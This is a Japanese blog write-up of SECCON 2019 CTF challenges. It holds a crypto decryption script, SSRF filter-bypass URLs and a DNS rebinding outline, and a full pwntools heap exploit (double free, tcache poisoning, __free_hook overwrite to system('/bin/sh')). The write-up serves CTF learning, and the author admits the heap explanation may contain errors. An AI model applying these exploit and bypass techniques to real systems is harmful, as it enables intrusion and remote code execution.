#SECCON 2019
10月19~20日にかけてSECCON予選がありました。初めて参戦しましたが思ったよりも出来なくて悔しいです。結果は156pt 340/799位で、一番簡単だった問題一問しか解けませんでした。無念...
以下は主に他の方のwriteupから勉強になったことをまとめていきます。
##coffee_break
唯一出来た問題。keyもわかっているし暗号化と逆のことをすれば終わり。
コードだけ載っけます。
import sys
from Crypto.Cipher import AES
import base64
def decrypt(key, text):
s = ''
for i in range(len(text)):
s += chr((((ord(text[i]) - 0x20) - (ord(key[i % len(key)]) - 0x20)) % (0x7e - 0x20 + 1)) + 0x20)
return s
key1 = "SECCON"
key2 = "seccon2019" + chr(0x00)*6
cipher = "FyRyZNBO2MG6ncd3hEkC/yeYKUseI/CxYoZiIeV2fe/Jmtwx+WbWmU1gtMX9m905"
mes = base64.b64decode(cipher)
decipher = AES.new(key2,AES.MODE_ECB)
de2 = decipher.decrypt(mes) #enc1+ chr(p)*p
en1 = de2[:-5]
plain = decrypt(key1,str(en1)[2:-1])
print(plain)
URLを入力するとページのソースが見れるサイト、URLは上のようにフィルタがかかる。
この問題はいくつか答えがあるようです。よく見る答えはHost/split vulnerabilityを使うもの。
例えば
http://nginx/flag.php
と入力すれば $parsed_url["host"]はnginxではなくnginx/flag.phpとなるのでidn_to_asciiの処理にかけてもnginx/flag.phpとなるのでもちろんnginxのホストとは一致しないのでバイパスできる
(xn--nginxflag-k854c.phpになるのでは?と思いましたが、元の文献によると Some IDNA implementations will convert a U-label such as "www.evil.c℀.microsoft.com" to the A-label "www.evil.ca/c.microsoft.com ".とあったので、こう解釈しました。おそらくここではたまたまそのSome IDNA implementationだったんだと思う)
その後file_get_contents内で$urlがidn_to_asciの処理でhttp://nginx/flag.php になるのでフラグがゲットできる。
次に
http://@nginx/flag.php
ではparsed_url["host"]は@nginxになる(@ではないことに注意)上と同様にバイパスした後はhttp://@nginx/flag.phpになりフラグゲット
(URL中の@はBasic認証時などでhttp://username:password@domain~ みたいな感じで使われるっぽい)
他にも
http://nginx:80/flag.php
がある(:が全角)
他にも(※以下は自分で試してないので注意)
http://ocu.chal.seccon.jp:10000/flag.php とやるとForbidden.Your IP: 172.25.0.1とでて、その周辺のIPを探ると172.25.0.3がnginxのIPということがわかるので
例えば http://hoge@あa.example.com と入力するとhostnameは"あa.example.com"となるので変換すると"xn--a-l8j.example.com"になる。しかしURL全体にこの処理を施すとコンマ間ごとに処理を行うのでhttp://xn--hoge@a-m43e.example.com になる。
仮にexample.comのドメインを持っていてa-m43e.example.com と 172.25.0.3 をDNSサーバーに紐付ければバイパスできる。
また、別の解法としてDNS rebindingを使う方法がある
①自身の所有するサイトのURLを入力
②標的サイトがDNSサーバーにIPを取りに来る
③TTLを短くしたものを返す
④TTLが切れてまたIPを取りに来る
⑤今度は172.25.0.3のアドレスを返す
⑥172.25.0.3のソースを取れる
ざっくり書くとこんな感じ、nginxと比較しているときはまだ正規のIPなのでバイパスできる。
現実世界では攻撃者のサイトのJavascriptでネットワーク内のIoTなどにPOSTリクエストを送らせる。参考
##one
この方のwriteupを参考に書いていきます。ほぼ丸パクリなので英語に抵抗がない人はリンク先のwriteupを読んだようがいい
just one
MENU
================
1. Add
2. Show
3. Delete
0. Exit
================
>
実行すると上のような出力が出て、1でaddした文字列をshowしたりdeleteするプログラムで、保持する文字列は1つだけで連続でaddすると前の文字列が上書きされる。
攻撃の大まかな流れは、プログラム中では0x40byteを生成するmallocが使われていて、double freeやuse after freeの脆弱性があるのでheap overflowでunsorted binに入るような偽のchunkを作ってlibcのアドレスをleakさせる。その後tcache poisoningで__free_hookのアドレスをsystem関数に書き換え、/bin/sh を呼び出して終わり。
まずはheapのアドレスがわからないと始まらないのでdouble freeを使ってアドレスを手に入れる
(以降tcacheのchunkを使うので多めにfreeしている。)
add('A'*8)
for i in range(4):
free() #double free
show()
heap_leak = u64(p.recvline().strip('\n').ljust(8, '\x00'))
log.info('Heap leak: ' + hex(heap_leak))
次は偽のchunkを作っていく、がその前にtcacheの分を使われたら困るのでfdを書き換えてheap側から見たらtcacheが空のように見せる。
偽のchunkのサイズフィールドは0x91に設定(PREV_INUSE bitの分1加算されてる)、fdがheap_leakになるよう設定する。
*3しているのは0x90サイズのchunkとして見たときにfdとsizeフィールドがちゃんと設定されているようにするため
add(p64(0) + 'A'*8)
for i in range(4):
add((p64(heap_leak) + p64(0x91)) * 3)
今度はdouble free & use after freeをを使ってfdを一番最初の偽chunkに向ける
次にaddするやつはさっきfreeしたtcacheから割り当てられるので適当な文字をaddする
そして次のaddから0x90のchunkになる。これを7回freeしてtcache binをいっぱいにし、8回目でunsorted binに入る
free()
free()
add(p64(heap_leak + 0x60)) # use after free free
add("a"*8)
add('A'*8) # Got a 0x91 chunk
for i in range(8):
free()
これをunsored binに入ったchunkのfdが欲しかったlibcのアドレスなのでこれをshowする
そこからlibcのベースアドレス、__free_hook、systemのアドレスを出す。
show()
leak = u64(p.recvline().strip('\n').ljust(8, '\x00'))
libc.address = leak - 0x3ebca0 # Offset found using gdb
free_hook = libc.symbols['__free_hook']
system = libc.symbols['system']
log.info('Libc leak: ' + hex(leak))
log.info('Libc base: ' + hex(libc.address))
log.info('__free_hook: ' + hex(free_hook))
log.info('system: ' + hex(system))
あとはfreeしたときにsystem関数が呼び出されるようにして終わり
add('A'*8)
free()
free()
add(p64(free_hook))
add(p64(0))
add(p64(system))
add('/bin/sh\x00')
free()
p.interactive()
以下exploit code
#!/usr/bin/env python2
from pwn import *
BINARY = './one'
HOST, PORT = 'one.chal.seccon.jp', 18357
elf = ELF(BINARY)
libc = ELF('./libc-2.27.so')
def start():
print("LOCAL PROCESS")
return process(BINARY)
def add(content):
print(content)
p.sendlineafter('> ', '1')
p.sendlineafter('> ', content)
def show():
p.sendlineafter('> ', '2')
def free():
p.sendlineafter('> ', '3')
p = start()
add('A'*8)
for i in range(4):
free()
show()
heap_leak = u64(p.recvline().strip('\n').ljust(8, '\x00'))
log.info('Heap leak: ' + hex(heap_leak))
add(p64(0) + 'A'*8)
for i in range(4):
add((p64(heap_leak) + p64(0x91)) * 3)
free()
free()
add(p64(heap_leak + 0x60))
add("something")
add('A'*8)
for i in range(8):
free()
show()
leak = u64(p.recvline().strip('\n').ljust(8, '\x00'))
libc.address = leak - 0x3ebca0 # Offset found using gdb
free_hook = libc.symbols['__free_hook']
system = libc.symbols['system']
log.info('Libc leak: ' + hex(leak))
log.info('Libc base: ' + hex(libc.address))
log.info('__free_hook: ' + hex(free_hook))
log.info('system: ' + hex(system))
add('A'*8)
free()
free()
add(p64(free_hook))
add(p64(0))
add(p64(system))
add('/bin/sh\x00')
free()
p.interactive()
heap overflowの知識が皆無の状態で少し勉強して書いたので間違っているかもしれないです...
pwnはしばらくはいいかな...